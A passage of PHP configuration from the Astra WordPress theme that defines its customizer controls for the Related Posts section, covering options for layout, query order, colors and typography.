'clone_limit' => 1, 'title' => __( 'Tag', 'astra' ), ); $_configs = array( /** * Option: Related Posts Query */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-section-heading]', 'section' => 'section-blog-single', 'type' => 'control', 'control' => 'ast-heading', 'title' => __( 'Related Posts', 'astra' ), 'priority' => 10, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), array( 'name' => 'related-posts-section-ast-context-tabs', 'section' => 'ast-sub-section-related-posts', 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', 'context' => array(), ), array( 'name' => 'ast-sub-section-related-posts', 'title' => __( 'Related Posts', 'astra' ), 'type' => 'section', 'section' => $parent_section, 'panel' => '', 'priority' => 1, ), array( 'name' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'type' => 'control', 'default' => astra_get_option( 'enable-related-posts' ), 'control' => 'ast-section-toggle', 'section' => $parent_section, 'priority' => 10, 'linked' => 'ast-sub-section-related-posts', 'linkText' => __( 'Related Posts', 'astra' ), 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-bottom-section-divider' ), ), /** * Option: Related Posts Title */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-title]', 'default' => astra_get_option( 'related-posts-title' ), 'type' => 'control', 'section' => 'ast-sub-section-related-posts', 'priority' => 11, 'title' => __( 'Title', 'astra' ), 'control' => 'ast-text-input', 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'transport' => 'postMessage', 'partial' => array( 'selector' => '.ast-related-posts-title-section .ast-related-posts-title', 'container_inclusive' => false, 'render_callback' => array( 'Astra_Related_Posts_Loader', 'render_related_posts_title' ), ), 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), ), ), /** * Option: Related Posts Title Alignment */ array( 'name' => ASTRA_THEME_SETTINGS . '[releted-posts-title-alignment]', 'default' => astra_get_option( 'releted-posts-title-alignment' ), 'section' => 'ast-sub-section-related-posts', 'transport' => 'postMessage', 'title' => __( 'Title Alignment', 'astra' ), 'type' => 'control', 'control' => 'ast-selector', 'priority' => 11, 'responsive' => false, 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[related-posts-title]', 'operator' => '!=', 'value' => '', ), ), 'choices' => array( 'left' => 'align-left', 'center' => 'align-center', 'right' => 'align-right', ), ), /** * Option: Related Posts Structure */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'type' => 'control', 'control' => 'ast-sortable', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_multi_choices' ), 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-structure' ), 'priority' => 12, 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Posts Structure', 'astra' ), 'choices' => $related_structure_sub_controls, 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), /** * Option: Meta Data Separator. */ array( 'name' => 'related-metadata-separator', 'default' => astra_get_option( 'related-metadata-separator', '/' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'linked' => 'title-meta', 'section' => 'ast-sub-section-related-posts', 'priority' => 10, 'control' => 'ast-selector', 'title' => __( 'Divider Type', 'astra' ), 'choices' => array( '/' => '/', '-' => '-', '|' => '|', '•' => '•', 'none' => __( 'None', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-meta-structure]', 'type' => 'control', 'control' => 'ast-sortable', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_multi_choices' ), 'default' => astra_get_option( 'related-posts-meta-structure' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'operator' => 'contains', 'value' => 'title-meta', ), ), 'section' => 'ast-sub-section-related-posts', 'priority' => 12, 'title' => __( 'Meta', 'astra' ), 'choices' => array_merge( array( 'comments' => __( 'Comments', 'astra' ), ), $meta_config_options ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), array( 'name' => 'related-posts-image-ratio-type', 'default' => astra_get_option( 'related-posts-image-ratio-type', '' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'section' => 'ast-sub-section-related-posts', 'linked' => 'featured-image', 'priority' => 5, 'control' => 'ast-selector', 'title' => __( 'Image Ratio', 'astra' ), 'choices' => array( '' => __( 'Original', 'astra' ), 'predefined' => __( 'Predefined', 'astra' ), 'custom' => __( 'Custom', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', 'contextual_sub_control' => true, 'input_attrs' => array( 'dependents' => array( '' => array( 'related-posts-original-image-scale-description' ), 'predefined' => array( 'related-posts-image-ratio-pre-scale' ), 'custom' => array( 'related-posts-image-custom-scale-width', 'related-posts-image-custom-scale-height', 'related-posts-custom-image-scale-description' ), ), ), ), array( 'name' => 'related-posts-image-ratio-pre-scale', 'default' => astra_get_option( 'related-posts-image-ratio-pre-scale' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'linked' => 'featured-image', 'section' => 'ast-sub-section-related-posts', 'priority' => 10, 'control' => 'ast-selector', 'choices' => array( '1/1' => __( '1:1', 'astra' ), '4/3' => __( '4:3', 'astra' ), '16/9' => __( '16:9', 'astra' ), '2/1' => __( '2:1', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => 'related-posts-image-custom-scale-width', 'default' => astra_get_option( 'related-posts-image-custom-scale-width', 16 ), 'type' => 'sub-control', 'control' => 'ast-number', 'transport' => 'postMessage', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'section' => 'ast-sub-section-related-posts', 'linked' => 'featured-image', 'priority' => 11, 'qty_selector' => true, 'title' => __( 'Width', 'astra' ), 'input_attrs' => array( 'style' => 'text-align:center;', 'placeholder' => __( 'Auto', 'astra' ), 'min' => 1, 'max' => 1000, ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), ), array( 'name' => 'related-posts-image-custom-scale-height', 'default' => astra_get_option( 'related-posts-image-custom-scale-height', 9 ), 'type' => 'sub-control', 'control' => 'ast-number', 'transport' => 'postMessage', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'section' => 'ast-sub-section-related-posts', 'linked' => 'featured-image', 'priority' => 12, 'qty_selector' => true, 'title' => __( 'Height', 'astra' ), 'input_attrs' => array( 'style' => 'text-align:center;', 'placeholder' => __( 'Auto', 'astra' ), 'min' => 1, 'max' => 1000, ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_number_n_blank' ), ), array( 'name' => 'related-posts-custom-image-scale-description', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'linked' => 'featured-image', 'type' => 'sub-control', 'control' => 'ast-description', 'section' => 'ast-sub-section-related-posts', 'priority' => 14, 'label' => '', 'help' => sprintf( /* translators: 1: link open markup, 2: link close markup */ __( 'Calculate a personalized image ratio using this %1$s online tool %2$s for your image dimensions.', 'astra' ), '<a href="' . esc_url( 'https://www.digitalrebellion.com/webapps/aspectcalc' ) . '" target="_blank">', '</a>' ), ), array( 'name' => 'related-posts-image-size', 'default' => astra_get_option( 'related-posts-image-size', 'large' ), 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'section' => 'ast-sub-section-related-posts', 'linked' => 'featured-image', 'type' => 'sub-control', 'priority' => 17, 'transport' => 'postMessage', 'title' => __( 'Image Size', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'control' => 'ast-select', 'choices' => astra_get_site_image_sizes(), 'description' => __( 'Note: Image Size & Ratio won\'t work if Image Position set as Background.', 'astra' ), ), array( 'name' => 'related-posts-author-prefix-label', 'default' => astra_get_option( 'related-posts-author-prefix-label', astra_default_strings( 'string-blog-meta-author-by', false ) ), 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-structure]', 'linked' => 'author', 'type' => 'sub-control', 'control' => 'ast-text-input', 'section' => 'ast-sub-section-related-posts', 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-bottom-section-spacing' ), 'title' => __( 'Prefix Label', 'astra' ), 'priority' => 1, 'transport' => 'postMessage', ), array( 'name' => 'related-posts-author-avatar', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-structure]', 'default' => astra_get_option( 'related-posts-author-avatar' ), 'linked' => 'author', 'type' => 'sub-control', 'control' => 'ast-toggle', 'section' => 'ast-sub-section-related-posts', 'priority' => 5, 'title' => __( 'Author Avatar', 'astra' ), 'transport' => 'postMessage', ), array( 'name' => 'related-posts-author-avatar-size', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-structure]', 'default' => astra_get_option( 'related-posts-author-avatar-size', 30 ), 'linked' => 'author', 'type' => 'sub-control', 'control' => 'ast-slider', 'transport' => 'postMessage', 'section' => 'ast-sub-section-related-posts', 'priority' => 10, 'title' => __( 'Image Size', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 200, ), ), array( 'name' => 'related-posts-meta-date-type', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-structure]', 'type' => 'sub-control', 'control' => 'ast-selector', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-meta-date-type', 'published' ), 'priority' => 1, 'linked' => 'date', 'transport' => 'refresh', 'title' => __( 'Type', 'astra' ), 'choices' => array( 'published' => __( 'Published', 'astra' ), 'updated' => __( 'Last Updated', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-bottom-spacing' ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => 'related-posts-date-format', 'default' => astra_get_option( 'related-posts-date-format', '' ), 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-structure]', 'linked' => 'date', 'type' => 'sub-control', 'control' => 'ast-select', 'section' => 'ast-sub-section-related-posts', 'priority' => 2, 'responsive' => false, 'renderAs' => 'text', 'title' => __( 'Format', 'astra' ), 'choices' => array( '' => __( 'Default', 'astra' ), 'F j, Y' => 'November 6, 2010', 'Y-m-d' => '2010-11-06', 'm/d/Y' => '11/06/2010', 'd/m/Y' => '06/11/2010', ), ), array( 'name' => 'related-posts-category-style', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-structure]', 'type' => 'sub-control', 'control' => 'ast-selector', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-category-style', '' ), 'priority' => 2, 'linked' => 'category', 'transport' => 'refresh', 'title' => __( 'Style', 'astra' ), 'choices' => array( 'none' => __( 'Default', 'astra' ), 'badge' => __( 'Badge', 'astra' ), 'underline' => __( 'Underline', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => 'related-posts-tag-style', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-structure]', 'type' => 'sub-control', 'control' => 'ast-selector', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-tag-style', '' ), 'priority' => 2, 'linked' => 'tag', 'transport' => 'refresh', 'title' => __( 'Style', 'astra' ), 'choices' => array( 'none' => __( 'Default', 'astra' ), 'badge' => __( 'Badge', 'astra' ), 'underline' => __( 'Underline', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', ), /** * Option: Enable excerpt for Related Posts. */ array( 'name' => ASTRA_THEME_SETTINGS . '[enable-related-posts-excerpt]', 'default' => astra_get_option( 'enable-related-posts-excerpt' ), 'type' => 'control', 'control' => 'ast-toggle-control', 'title' => __( 'Enable Post Excerpt', 'astra' ), 'section' => 'ast-sub-section-related-posts', 'priority' => 12, 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), /** * Option: Excerpt word count for Related Posts */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-excerpt-count]', 'default' => astra_get_option( 'related-posts-excerpt-count' ), 'type' => 'control', 'control' => 'ast-slider', 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts-excerpt]', 'operator' => '==', 'value' => true, ), ), 'section' => 'ast-sub-section-related-posts', 'title' => __( 'Excerpt Word Count', 'astra' ), 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'priority' => 12, 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 60, ), ), /** * Option: No. of Related Posts */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-total-count]', 'default' => astra_get_option( 'related-posts-total-count' ), 'type' => 'control', 'control' => 'ast-slider', 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), ), 'section' => 'ast-sub-section-related-posts', 'title' => __( 'Total Number of Related Posts', 'astra' ), 'priority' => 11, 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 20, ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-bottom-divider' ), ), /** * Option: Related Posts Columns */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-grid-responsive]', 'type' => 'control', 'control' => 'ast-selector', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-grid-responsive' ), 'priority' => 11, 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Grid Column Layout', 'astra' ), 'choices' => array( 'full' => __( '1', 'astra' ), '2-equal' => __( '2', 'astra' ), '3-equal' => __( '3', 'astra' ), '4-equal' => __( '4', 'astra' ), ), 'responsive' => true, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), ), /** * Option: Related Posts Query group setting */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-query-group]', 'default' => astra_get_option( 'related-posts-query-group' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-settings-group', 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Posts Query', 'astra' ), 'section' => 'ast-sub-section-related-posts', 'priority' => 11, ), /** * Option: Related Posts based on. */ array( 'name' => 'related-posts-based-on', 'default' => astra_get_option( 'related-posts-based-on' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-query-group]', 'section' => 'ast-sub-section-related-posts', 'priority' => 1, 'control' => 'ast-selector', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), 'title' => __( 'Related Posts by', 'astra' ), 'choices' => array( 'categories' => __( 'Categories', 'astra' ), 'tags' => __( 'Tags', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', ), /** * Option: Display Post Structure */ array( 'name' => 'related-posts-order-by', 'default' => astra_get_option( 'related-posts-order-by' ), 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-query-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), 'priority' => 2, 'transport' => 'postMessage', 'title' => __( 'Order by', 'astra' ), 'control' => 'ast-select', 'choices' => array( 'date' => __( 'Date', 'astra' ), 'title' => __( 'Title', 'astra' ), 'menu_order' => __( 'Post Order', 'astra' ), 'rand' => __( 'Random', 'astra' ), 'comment_count' => __( 'Comment Counts', 'astra' ), ), ), /** * Option: Display Post Structure */ array( 'name' => 'related-posts-order', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-query-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'transport' => 'postMessage', 'title' => __( 'Order', 'astra' ), 'default' => astra_get_option( 'related-posts-order' ), 'control' => 'ast-selector', 'priority' => 3, 'choices' => array( 'asc' => __( 'Ascending', 'astra' ), 'desc' => __( 'Descending', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-box-placement]', 'default' => astra_get_option( 'related-posts-box-placement' ), 'type' => 'control', 'section' => 'ast-sub-section-related-posts', 'priority' => 12, 'title' => __( 'Section Placement', 'astra' ), 'control' => 'ast-selector', 'description' => __( 'Decide whether to isolate or integrate the module with the entry content area.', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'choices' => array( 'default' => __( 'Default', 'astra' ), 'inside' => __( 'Contained', 'astra' ), 'outside' => __( 'Separated', 'astra' ), ), 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-outside-location]', 'default' => astra_get_option( 'related-posts-outside-location' ), 'type' => 'control', 'section' => 'ast-sub-section-related-posts', 'priority' => 12, 'title' => __( 'Location', 'astra' ), 'control' => 'ast-selector', 'choices' => array( 'below' => __( 'Below Comments', 'astra' ), 'above' => __( 'Above Comments', 'astra' ), ), 'description' => __( 'To sync this option with comments, use the same positioning for both sections: Contained or Separated.', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-section-spacing' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[related-posts-box-placement]', 'operator' => '!=', 'value' => 'default', ), ), 'responsive' => false, 'renderAs' => 'text', ), array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-container-width]', 'default' => astra_get_option( 'related-posts-container-width' ), 'type' => 'control', 'section' => 'ast-sub-section-related-posts', 'priority' => 12, 'title' => __( 'Container Structure', 'astra' ), 'control' => 'ast-selector', 'choices' => array( 'narrow' => __( 'Narrow', 'astra' ), '' => __( 'Full Width', 'astra' ), ), 'divider' => array( 'ast_class' => 'ast-top-section-spacing' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[related-posts-box-placement]', 'operator' => '==', 'value' => 'outside', ), ), 'responsive' => false, 'renderAs' => 'text', ), /** * Option: Related Posts colors setting group */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-colors-group]', 'default' => astra_get_option( 'related-posts-colors-group' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-settings-group', 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'operator' => 'contains', 'value' => 'title-meta', ), ), 'title' => __( 'Content Colors', 'astra' ), 'section' => 'ast-sub-section-related-posts', 'priority' => 15, 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), ), /** * Option: Related Posts title typography setting group */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-section-title-typography-group]', 'type' => 'control', 'priority' => 16, 'control' => 'ast-settings-group', 'is_font' => true, 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[related-posts-title]', 'operator' => '!=', 'value' => '', ), ), 'title' => __( 'Section Title Font', 'astra' ), 'section' => 'ast-sub-section-related-posts', 'transport' => 'postMessage', ), /** * Option: Related Posts title typography setting group */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-title-typography-group]', 'type' => 'control', 'priority' => 17, 'control' => 'ast-settings-group', 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'operator' => 'contains', 'value' => 'title-meta', ), ), 'title' => __( 'Post Title Font', 'astra' ), 'is_font' => true, 'section' => 'ast-sub-section-related-posts', 'transport' => 'postMessage', ), /** * Option: Related Posts meta typography setting group */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-meta-typography-group]', 'type' => 'control', 'priority' => 18, 'control' => 'ast-settings-group', 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[related-posts-structure]', 'operator' => 'contains', 'value' => 'title-meta', ), ), 'title' => __( 'Meta Font', 'astra' ), 'is_font' => true, 'section' => 'ast-sub-section-related-posts', 'transport' => 'postMessage', ), /** * Option: Related Posts content typography setting group */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-content-typography-group]', 'type' => 'control', 'priority' => 21, 'control' => 'ast-settings-group', 'is_font' => true, 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts-excerpt]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Content Font', 'astra' ), 'section' => 'ast-sub-section-related-posts', 'transport' => 'postMessage', ), /** * Option: Related post block text color */ array( 'name' => 'related-posts-text-color', 'tab' => __( 'Normal', 'astra' ), 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-colors-group]', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-text-color' ), 'transport' => 'postMessage', 'control' => 'ast-color', 'title' => __( 'Text Color', 'astra' ), ), /** * Option: Related post block CTA link color */ array( 'name' => 'related-posts-link-color', 'tab' => __( 'Normal', 'astra' ), 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-colors-group]', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-link-color' ), 'transport' => 'postMessage', 'control' => 'ast-color', 'title' => __( 'Link Color', 'astra' ), ), /** * Option: Related post block BG color */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-title-color]', 'default' => astra_get_option( 'related-posts-title-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'ast-sub-section-related-posts', 'transport' => 'postMessage', 'priority' => 14, 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), array( 'setting' => ASTRA_THEME_SETTINGS . '[related-posts-title]', 'operator' => '!=', 'value' => '', ), ), 'title' => __( 'Section Title', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-section-spacing' ), ), /** * Option: Related post block BG color */ array( 'name' => ASTRA_THEME_SETTINGS . '[related-posts-background-color]', 'default' => astra_get_option( 'related-posts-background-color' ), 'type' => 'control', 'control' => 'ast-color', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_alpha_color' ), 'section' => 'ast-sub-section-related-posts', 'transport' => 'postMessage', 'priority' => 14, 'context' => array( Astra_Builder_Helper::$design_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[enable-related-posts]', 'operator' => '==', 'value' => true, ), ), 'title' => __( 'Section Background', 'astra' ), 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), ), /** * Option: Related post meta color */ array( 'name' => 'related-posts-meta-color', 'default' => astra_get_option( 'related-posts-meta-color' ), 'tab' => __( 'Normal', 'astra' ), 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-colors-group]', 'section' => 'ast-sub-section-related-posts', 'transport' => 'postMessage', 'control' => 'ast-color', 'title' => __( 'Meta Color', 'astra' ), ), /** * Option: Related hover CTA link color */ array( 'name' => 'related-posts-link-hover-color', 'type' => 'sub-control', 'tab' => __( 'Hover', 'astra' ), 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-colors-group]', 'section' => 'ast-sub-section-related-posts', 'control' => 'ast-color', 'default' => astra_get_option( 'related-posts-link-hover-color' ), 'transport' => 'postMessage', 'title' => __( 'Link Color', 'astra' ), ), /** * Option: Related hover meta link color */ array( 'name' => 'related-posts-meta-link-hover-color', 'type' => 'sub-control', 'tab' => __( 'Hover', 'astra' ), 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-colors-group]', 'section' => 'ast-sub-section-related-posts', 'control' => 'ast-color', 'default' => astra_get_option( 'related-posts-meta-link-hover-color' ), 'transport' => 'postMessage', 'title' => __( 'Meta Link Color', 'astra' ), ), /** * Option: Related Posts Title Font Family */ array( 'name' => 'related-posts-title-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-title-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( 'related-posts-title-font-family' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[related-posts-title-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Related Posts Title Font Weight */ array( 'name' => 'related-posts-title-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-title-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( 'related-posts-title-font-weight' ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => 'related-posts-title-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Related Posts Title Font Size */ array( 'name' => 'related-posts-title-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-title-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( 'related-posts-title-font-size' ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Related Posts Title Font Extras */ array( 'name' => 'related-posts-title-font-extras', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-title-typography-group]', 'control' => 'ast-font-extras', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-title-font-extras' ), 'title' => __( 'Font Extras', 'astra' ), ), /** * Option: Related Posts Title Font Family */ array( 'name' => 'related-posts-section-title-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-section-title-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( 'related-posts-section-title-font-family' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[related-posts-section-title-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Related Posts Title Font Weight */ array( 'name' => 'related-posts-section-title-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-section-title-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( 'related-posts-section-title-font-weight' ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => 'related-posts-section-title-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Related Posts Title Font Size */ array( 'name' => 'related-posts-section-title-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-section-title-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( 'related-posts-section-title-font-size' ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 